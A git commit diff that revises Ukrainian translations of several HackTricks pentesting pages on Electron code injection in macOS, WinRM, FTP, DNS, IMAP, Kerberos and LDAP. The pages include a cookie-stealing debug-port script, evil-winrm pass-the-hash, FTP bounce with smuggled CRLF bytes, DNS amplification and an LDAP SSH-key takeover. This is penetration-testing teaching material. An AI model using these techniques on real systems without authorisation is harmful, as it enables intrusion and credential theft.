Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-12 19:48:17 +00:00
parent c2872b338b
commit 1b88068939
28 changed files with 288 additions and 282 deletions

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## Основна інформація
## Basic Information
Якщо ви не знаєте, що таке Electron, ви можете знайти [**багато інформації тут**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Але поки просто знайте, що Electron запускає **node**.\
Якщо ви не знаєте, що таке Electron, ви можете знайти [**багато інформації тут**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Але наразі просто знайте, що Electron запускає **node**.\
А node має деякі **параметри** та **змінні середовища**, які можна використовувати для **виконання іншого коду** окрім вказаного файлу.
### Electron Fuses
Ці техніки будуть обговорені далі, але в останні часи Electron додав кілька **параметрів безпеки для їх запобігання**. Це [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) і це ті, що використовуються для **запобігання** завантаженню довільного коду в Electron додатках на macOS:
Ці техніки будуть обговорені далі, але в останні часи Electron додав кілька **параметрів безпеки для їх запобігання**. Це [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) і це ті, що використовуються для **запобігання** Electron додаткам в macOS від **завантаження довільного коду**:
- **`RunAsNode`**: Якщо вимкнено, запобігає використанню змінної середовища **`ELECTRON_RUN_AS_NODE`** для ін'єкції коду.
- **`EnableNodeCliInspectArguments`**: Якщо вимкнено, параметри, такі як `--inspect`, `--inspect-brk`, не будуть враховані. Уникаючи таким чином ін'єкції коду.
@ -21,7 +21,7 @@
- **EnableCookieEncryption**: Якщо увімкнено, сховище куків на диску шифрується за допомогою криптографічних ключів на рівні ОС.
### Перевірка Electron Fuses
### Checking Electron Fuses
Ви можете **перевірити ці параметри** з програми за допомогою:
```bash
@ -39,14 +39,14 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Модифікація електронних запобіжників
Як згадують [**документи**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), конфігурація **Electron Fuses** налаштовується всередині **бінарного файлу Electron**, який містить десь рядок **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Як зазначено в [**документації**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), конфігурація **Electron Fuses** налаштовується всередині **бінарного файлу Electron**, який містить десь рядок **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
У macOS додатках це зазвичай знаходиться в `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
Ви можете завантажити цей файл у [https://hexed.it/](https://hexed.it/) і шукати попередній рядок. Після цього рядка ви можете побачити в ASCII число "0" або "1", що вказує, чи кожен запобіжник вимкнений чи увімкнений. Просто змініть шістнадцятковий код (`0x30` - це `0`, а `0x31` - це `1`), щоб **змінити значення запобіжників**.
Ви можете завантажити цей файл у [https://hexed.it/](https://hexed.it/) і шукати попередній рядок. Після цього рядка ви можете побачити в ASCII число "0" або "1", що вказує, чи кожен запобіжник вимкнений або увімкнений. Просто змініть шістнадцятковий код (`0x30` - це `0`, а `0x31` - це `1`), щоб **змінити значення запобіжників**.
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
@ -64,7 +64,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
>
> Це ускладнює (або робить неможливим) цей шлях атаки.
Зверніть увагу, що можна обійти вимогу **`kTCCServiceSystemPolicyAppBundles`**, скопіювавши програму в інший каталог (наприклад, **`/tmp`**), перейменувавши папку **`app.app/Contents`** на **`app.app/NotCon`**, **змінивши** файл **asar** з вашим **шкідливим** кодом, перейменувавши його назад на **`app.app/Contents`** і виконавши його.
Зверніть увагу, що можна обійти вимогу **`kTCCServiceSystemPolicyAppBundles`**, скопіювавши програму в інший каталог (наприклад, **`/tmp`**), перейменувавши папку **`app.app/Contents`** на **`app.app/NotCon`**, **змінивши** файл **asar** з вашим **шкідливим** кодом, перейменувавши його назад на **`app.app/Contents`** і виконуючи його.
Ви можете розпакувати код з файлу asar за допомогою:
```bash
@ -157,7 +157,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
> [!CAUTION]
> Якщо запобіжник **`EnableNodeCliInspectArguments`** вимкнено, додаток **ігноруватиме параметри node** (такі як `--inspect`) під час запуску, якщо змінна середовища **`ELECTRON_RUN_AS_NODE`** не встановлена, яка також буде **ігноруватися**, якщо запобіжник **`RunAsNode`** вимкнено.
>
> Однак ви все ще можете використовувати **параметр electron `--remote-debugging-port=9229`**, але попередній payload не спрацює для виконання інших процесів.
> Однак, ви все ще можете використовувати параметр **`--remote-debugging-port=9229`**, але попередній payload не спрацює для виконання інших процесів.
Використовуючи параметр **`--remote-debugging-port=9222`**, можливо вкрасти деяку інформацію з Electron App, таку як **історія** (з командами GET) або **куки** браузера (оскільки вони **дешифруються** всередині браузера і є **json endpoint**, який їх надасть).
@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
У [**цьому блозі**](https://hackerone.com/reports/1274695) це налагодження зловживається для того, щоб безголовий chrome **завантажував довільні файли в довільні місця**.
В [**цьому блозі**](https://hackerone.com/reports/1274695) це налагодження зловживається для того, щоб безголовий chrome **завантажував довільні файли в довільні місця**.
### Ін'єкція з App Plist
@ -187,17 +187,17 @@ print(ws.recv()
<true/>
</dict>
```
## TCC Bypass abusing Older Versions
## TCC Bypass зловживанням старими версіями
> [!TIP]
> Демон TCC з macOS не перевіряє виконувану версію програми. Тому, якщо ви **не можете інжектувати код в Electron додаток** за допомогою будь-якої з попередніх технік, ви можете завантажити попередню версію APP і інжектувати код в неї, оскільки вона все ще отримає привілеї TCC (якщо тільки Trust Cache не завадить цьому).
## Run non JS Code
## Запуск не JS коду
Попередні техніки дозволять вам виконувати **JS код всередині процесу електронного додатку**. Однак пам'ятайте, що **дочірні процеси працюють під тим же профілем пісочниці**, що й батьківський додаток, і **успадковують їх TCC дозволи**.\
Отже, якщо ви хочете зловживати правами доступу до камери або мікрофона, наприклад, ви можете просто **виконати інший бінарний файл з процесу**.
Попередні техніки дозволять вам запускати **JS код всередині процесу електронного додатку**. Однак пам'ятайте, що **дочірні процеси працюють під тим же профілем пісочниці**, що й батьківський додаток і **успадковують їх TCC дозволи**.\
Отже, якщо ви хочете зловживати правами доступу до камери або мікрофона, наприклад, ви можете просто **запустити інший бінар з процесу**.
## Automatic Injection
## Автоматичне інжектування
Інструмент [**electroniz3r**](https://github.com/r3ggi/electroniz3r) можна легко використовувати для **пошуку вразливих електронних додатків**, які встановлені, і інжектування коду в них. Цей інструмент спробує використати техніку **`--inspect`**:

View File

@ -6,18 +6,18 @@
Протокол **Ident** використовується через **Інтернет** для асоціації **TCP-з'єднання** з конкретним користувачем. Спочатку розроблений для допомоги в **управлінні мережею** та **безпеці**, він працює, дозволяючи серверу запитувати клієнта на порту 113 для отримання інформації про користувача конкретного TCP-з'єднання.
Однак, через сучасні проблеми конфіденційності та потенціал для зловживання, його використання зменшилося, оскільки він може ненавмисно розкривати інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворий контроль доступу, щоб зменшити ці ризики.
Однак, через сучасні проблеми конфіденційності та потенціал для зловживання, його використання зменшилося, оскільки він може ненавмисно розкрити інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворі контроль доступу, щоб зменшити ці ризики.
**Порт за замовчуванням:** 113
```
PORT STATE SERVICE
113/tcp open ident
```
## **Перерахування**
## **Перерахунок**
### **Вручну - Отримати користувача/Визначити сервіс**
Якщо машина працює з сервісом ident та samba (445), і ви підключені до samba, використовуючи порт 43218. Ви можете дізнатися, який користувач виконує сервіс samba, виконавши:
Якщо машина працює з сервісом ident і samba (445), і ви підключені до samba через порт 43218. Ви можете дізнатися, який користувач виконує сервіс samba, виконавши:
![](<../images/image (843).png>)

View File

@ -9,12 +9,12 @@
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
- Сервіс імен для реєстрації та розв'язання імен (порти: 137/udp та 137/tcp).
- Сервіс розподілу датаграм для безконнектного зв'язку (порт: 138/udp).
- Сесійний сервіс для орієнтованого на з'єднання зв'язку (порт: 139/tcp).
- Сервіс розподілу датаграм для без'єднаної комунікації (порт: 138/udp).
- Сесійний сервіс для орієнтованої на з'єднання комунікації (порт: 139/tcp).
### Name Service
Щоб пристрій міг брати участь у мережі NetBIOS, він повинен мати унікальне ім'я. Це досягається через **процес широкомовлення**, де надсилається пакет "Name Query". Якщо заперечень не надходить, ім'я вважається доступним. Альтернативно, можна безпосередньо запитати **сервер Name Service**, щоб перевірити доступність імені або розв'язати ім'я в IP-адресу. Інструменти, такі як `nmblookup`, `nbtscan` та `nmap`, використовуються для перерахунку сервісів NetBIOS, виявляючи імена серверів та MAC-адреси.
Щоб пристрій міг брати участь у мережі NetBIOS, він повинен мати унікальне ім'я. Це досягається через **процес широкомовлення**, де надсилається пакет "Запит імені". Якщо заперечень не надходить, ім'я вважається доступним. Альтернативно, можна безпосередньо запитати **сервер служби імен**, щоб перевірити доступність імені або розв'язати ім'я в IP-адресу. Інструменти, такі як `nmblookup`, `nbtscan` та `nmap`, використовуються для перерахунку сервісів NetBIOS, виявляючи імена серверів та MAC-адреси.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram Distribution Service
NetBIOS датаграми дозволяють безконнектну комунікацію через UDP, підтримуючи пряме повідомлення або трансляцію на всі мережеві імена. Ця служба використовує порт **138/udp**.
NetBIOS датаграми дозволяють безконнектне спілкування через UDP, підтримуючи прямі повідомлення або трансляцію на всі мережеві імена. Ця служба використовує порт **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm

View File

@ -6,7 +6,7 @@
Oracle database (Oracle DB) - це система управління реляційними базами даних (RDBMS) від корпорації Oracle (з [тут](https://www.techopedia.com/definition/8711/oracle-database)).
Коли ви перераховуєте Oracle, першим кроком є спілкування з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
Коли ви перераховуєте Oracle, перший крок - поговорити з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener

View File

@ -15,22 +15,22 @@
### **Ініціювання сесії WinRM**
Щоб налаштувати PowerShell для WinRM, використовується cmdlet Microsoft `Enable-PSRemoting`, який налаштовує комп'ютер для прийому віддалених команд PowerShell. З підвищеним доступом PowerShell можна виконати наступні команди, щоб активувати цю функціональність і призначити будь-який хост як довірений:
Щоб налаштувати PowerShell для WinRM, використовується командлет Microsoft `Enable-PSRemoting`, який налаштовує комп'ютер для прийому віддалених команд PowerShell. З підвищеним доступом PowerShell можна виконати наступні команди, щоб активувати цю функціональність і призначити будь-який хост як довірений:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Цей підхід передбачає додавання підстановочного знака до конфігурації `trustedhosts`, крок, який вимагає обережного розгляду через його наслідки. Також зазначено, що може бути необхідно змінити тип мережі з "Public" на "Work" на машині зловмисника.
Цей підхід передбачає додавання символу підстановки до конфігурації `trustedhosts`, крок, який вимагає обережного розгляду через його наслідки. Також зазначено, що може бути необхідно змінити тип мережі з "Public" на "Work" на машині зловмисника.
Крім того, WinRM можна **активувати віддалено** за допомогою команди `wmic`, що демонструється наступним чином:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
Цей метод дозволяє віддалено налаштовувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
### Перевірте, чи налаштовано
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цілі. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
- Для цілі, яка **налаштована** правильно, вихід виглядатиме приблизно так:
```bash
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- Навпаки, для цілі, **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належної конфігурації WinRM.
- Навпаки, для цілі **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належного налаштування WinRM.
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Ви також можете **виконати команду вашої поточної PS консолі за допомогою** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
Ви також можете **виконати команду вашої поточної PS консолі через** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -148,7 +148,7 @@ evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Щоб використовувати evil-winrm для підключення до **IPv6 адреси**, створіть запис у _**/etc/hosts**_, встановивши **ім'я домену** для IPv6 адреси та підключіться до цього домену.
### Передайте хеш за допомогою evil-winrm
### Передача хешу з evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```

View File

@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
```
### Різні DNS-сервери
- **DNS Root Servers**: Це сервери, які знаходяться на вершині ієрархії DNS, керуючи доменами верхнього рівня і втручаючись лише у випадку, якщо сервери нижчого рівня не відповідають. Операцією цих серверів керує Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13.
- **DNS Root Servers**: Це сервери, які знаходяться на вершині ієрархії DNS, керуючи доменами верхнього рівня і втручаючись лише у випадку, якщо сервери нижчого рівня не відповідають. Операцією цих серверів контролює Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13.
- **Authoritative Nameservers**: Ці сервери мають остаточне слово щодо запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається на кореневі сервери.
- **Non-authoritative Nameservers**: Не маючи права власності на зони DNS, ці сервери збирають інформацію про домени через запити до інших серверів.
- **Caching DNS Server**: Цей тип сервера запам'ятовує відповіді на попередні запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером.
@ -32,7 +32,7 @@ PORT STATE SERVICE REASON
```bash
dig version.bind CHAOS TXT @DNS
```
Крім того, інструмент [`fpdns`](https://github.com/kirei/fpdns) також може ідентифікувати сервер.
Крім того, інструмент [`fpdns`](https://github.com/kirei/fpdns) також може визначити відбиток сервера.
Також можливо отримати банер за допомогою скрипта **nmap**:
```
@ -87,7 +87,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```
### DNS - Зворотний BF
### DNS - Реверс BF
```bash
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
@ -99,9 +99,9 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
Інший інструмент для цього: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Ви можете запитувати зворотні IP-діапазони на [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (цей інструмент також корисний для BGP).
Ви можете запитувати зворотні IP-діапазони на [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (цей інструмент також корисний з BGP).
### DNS - BF піддоменів
### DNS - Subdomains BF
```bash
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
@ -137,7 +137,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
### DNS Рекурсія DDoS
Якщо **DNS рекурсія увімкнена**, зловмисник може **підробити** **джерело** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **позначка "ra"** (_рекурсія доступна_) у відповіді:
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді:
```bash
dig google.com A @<IP>
```
@ -152,7 +152,7 @@ dig google.com A @<IP>
### Лист на неіснуючий акаунт
**Відправка електронного листа на неіснуючу адресу** з домену жертви може спонукати жертву надіслати повідомлення про недоставку (NDN), заголовки якого можуть містити цікаву інформацію, таку як **назви внутрішніх серверів та IP-адреси**.
**Відправка електронного листа на неіснуючу адресу** з домену жертви може спонукати жертву надіслати повідомлення про ненадання (NDN), заголовки якого можуть містити цікаву інформацію, таку як **назви внутрішніх серверів та IP-адреси**.
## Пост-експлуатація

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
## Basic Information
**Протокол передачі файлів (FTP)** слугує стандартним протоколом для передачі файлів через комп'ютерну мережу між сервером і клієнтом.\
Це **протокол у відкритому тексті**, який використовує **символ нового рядка `0x0d 0x0a`**, тому іноді вам потрібно **підключитися за допомогою `telnet`** або **`nc -C`**.
@ -12,23 +12,23 @@
PORT STATE SERVICE
21/tcp open ftp
```
### З'єднання Активні та Пасивні
### Connections Active & Passive
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
В **Active FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 до FTP сервера. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, то активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Passive FTP.
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один зі своїх номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
В **Passive FTP** клієнт ініціює контрольне з'єднання з його порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один з його номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
Джерело: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Налагодження з'єднання
### Connection debugging
Команди **FTP** **`debug`** та **`trace`** можуть бути використані для того, щоб побачити **як відбувається комунікація**.
## Перерахування
## Enumeration
### Захоплення банера
### Banner Grabbing
```bash
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Зверніть увагу, що якщо **веб-додаток** надсилає дані, контрольовані користувачем, **безпосередньо на FTP-сервер**, ви можете надіслати подвоєне URL-кодування `%0d%0a` (в подвоєному URL-кодуванні це `%250d%250a`) байти і змусити **FTP-сервер виконувати довільні дії**. Однією з можливих довільних дій є завантаження вмісту з сервера, контрольованого користувачем, виконання сканування портів або спроба зв'язатися з іншими сервісами на основі простого тексту (наприклад, http).
Зверніть увагу, що якщо **веб-додаток** надсилає дані, контрольовані користувачем, **безпосередньо на FTP-сервер**, ви можете надіслати подвоєне URL-кодування `%0d%0a` (в подвоєному URL-кодуванні це `%250d%250a`) байти і змусити **FTP-сервер виконувати довільні дії**. Однією з цих можливих довільних дій є завантаження вмісту з сервера, контрольованого користувачем, виконання сканування портів або спроба зв'язатися з іншими сервісами на основі простого тексту (наприклад, http).
## Завантажити всі файли з FTP
```bash
@ -131,12 +131,12 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Сервер вказує, які команди підтримуються
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_вам потрібно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_необхідно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
- **`EPRT |2|127.0.0.1|80|`** Це вказує FTP серверу встановити TCP з'єднання (_вказане "2"_) з IP 127.0.0.1 на порту 80. Ця команда **підтримує IPv6**.
- **`LIST`** Це надішле список файлів у поточній папці
- **`LIST -R`** Список рекурсивно (якщо дозволено сервером)
- **`APPE /path/something.txt`** Це вказує FTP зберегти дані, отримані з **пасивного** з'єднання або з **PORT/EPRT** з'єднання, у файл. Якщо ім'я файлу існує, дані будуть додані.
- **`STOR /path/something.txt`** Як `APPE`, але він перезаписує файли
- **`STOR /path/something.txt`** Як `APPE`, але перезаписує файли
- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не робить.
- **`RETR /path/to/file`** Має бути встановлено пасивне або портове з'єднання. Тоді FTP сервер надішле вказаний файл через це з'єднання
- **`REST 6`** Це вказує серверу, що наступного разу, коли він надішле щось за допомогою `RETR`, він повинен почати з 6-го байта.
@ -160,7 +160,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
3. **Використовуйте `PORT`, щоб підключитися до довільного сервера та служби**
4. **Використовуйте `RETR`, щоб надіслати збережений запит на сервер.**
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані за допомогою `RETR`**. Пропозиції, щоб спробувати уникнути цього:
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані з `RETR`**. Пропозиції, щоб спробувати уникнути цього:
- Якщо ви надсилаєте HTTP запит, **поставте той же запит один за одним** до **\~0.5MB** принаймні. Ось так:
@ -184,7 +184,7 @@ ftp.conf
proftpd.conf
vsftpd.conf
```
### Пост-Експлуатація
### Пост-експлуатація
Конфігурацію за замовчуванням vsFTPd можна знайти в `/etc/vsftpd.conf`. Тут ви можете знайти деякі небезпечні налаштування:
@ -192,10 +192,10 @@ vsftpd.conf
- `anon_upload_enable=YES`
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - Директорія для анонімних користувачів.
- `chown_uploads=YES` - Змінити власність анонімно завантажених файлів
- `chown_username=username` - Користувач, якому надається власність на анонімно завантажені файли
- `chown_uploads=YES` - Змінити власника анонімно завантажених файлів
- `chown_username=username` - Користувач, якому надається право власності на анонімно завантажені файли
- `local_enable=YES` - Дозволити локальним користувачам входити в систему
- `no_anon_password=YES` - Не запитувати анонімних користувачів про пароль
- `no_anon_password=YES` - Не запитувати анонімного користувача про пароль
- `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, та SITE
### Shodan

View File

@ -107,7 +107,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Добрий огляд можливих пошукових термінів знаходиться [here](https://www.atmail.com/blog/imap-commands/).
Добрий огляд можливих пошукових термінів знаходиться [тут](https://www.atmail.com/blog/imap-commands/).
3. Завантаження повідомлення (imap команда `SELECT Drafts` і потім `FETCH 1 BODY[]`)
```bash
@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Також можливо завантажити лише частини повідомлення, наприклад, тему та відправника перших 5 повідомлень (для перегляду теми та відправника потрібен `-v`):
Також можливо завантажити лише частини повідомлення, наприклад, тему та відправника перших 5 повідомлень (параметр `-v` необхідний для відображення теми та відправника):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```

View File

@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена заява помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена вимога помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
{{#ref}}
https://adsecurity.org/?p=541

View File

@ -48,11 +48,11 @@ phone: 23627387495
- Рядки 1-3 визначають домен верхнього рівня local
- Рядки 5-8 визначають домен першого рівня moneycorp (moneycorp.local)
- Рядки 10-16 визначають 2 організаційні одиниці: dev та sales
- Рядки 18-26 створюють об'єкт домену та призначають атрибути зі значеннями
- Рядки 18-26 створюють об'єкт домену та призначають атрибути з значеннями
## Запис даних
Зверніть увагу, що якщо ви можете змінювати значення, ви можете виконувати дійсно цікаві дії. Наприклад, уявіть, що ви **можете змінити інформацію "sshPublicKey"** вашого користувача або будь-якого користувача. Існує висока ймовірність, що якщо цей атрибут існує, то **ssh читає публічні ключі з LDAP**. Якщо ви можете змінити публічний ключ користувача, ви **зможете увійти як цей користувач, навіть якщо аутентифікація за паролем не увімкнена в ssh**.
Зверніть увагу, що якщо ви можете змінювати значення, ви могли б виконувати дійсно цікаві дії. Наприклад, уявіть, що ви **можете змінити інформацію "sshPublicKey"** вашого користувача або будь-якого користувача. Існує висока ймовірність, що якщо цей атрибут існує, то **ssh читає публічні ключі з LDAP**. Якщо ви можете змінити публічний ключ користувача, ви **зможете увійти як цей користувач, навіть якщо аутентифікація за паролем не увімкнена в ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -64,13 +64,13 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
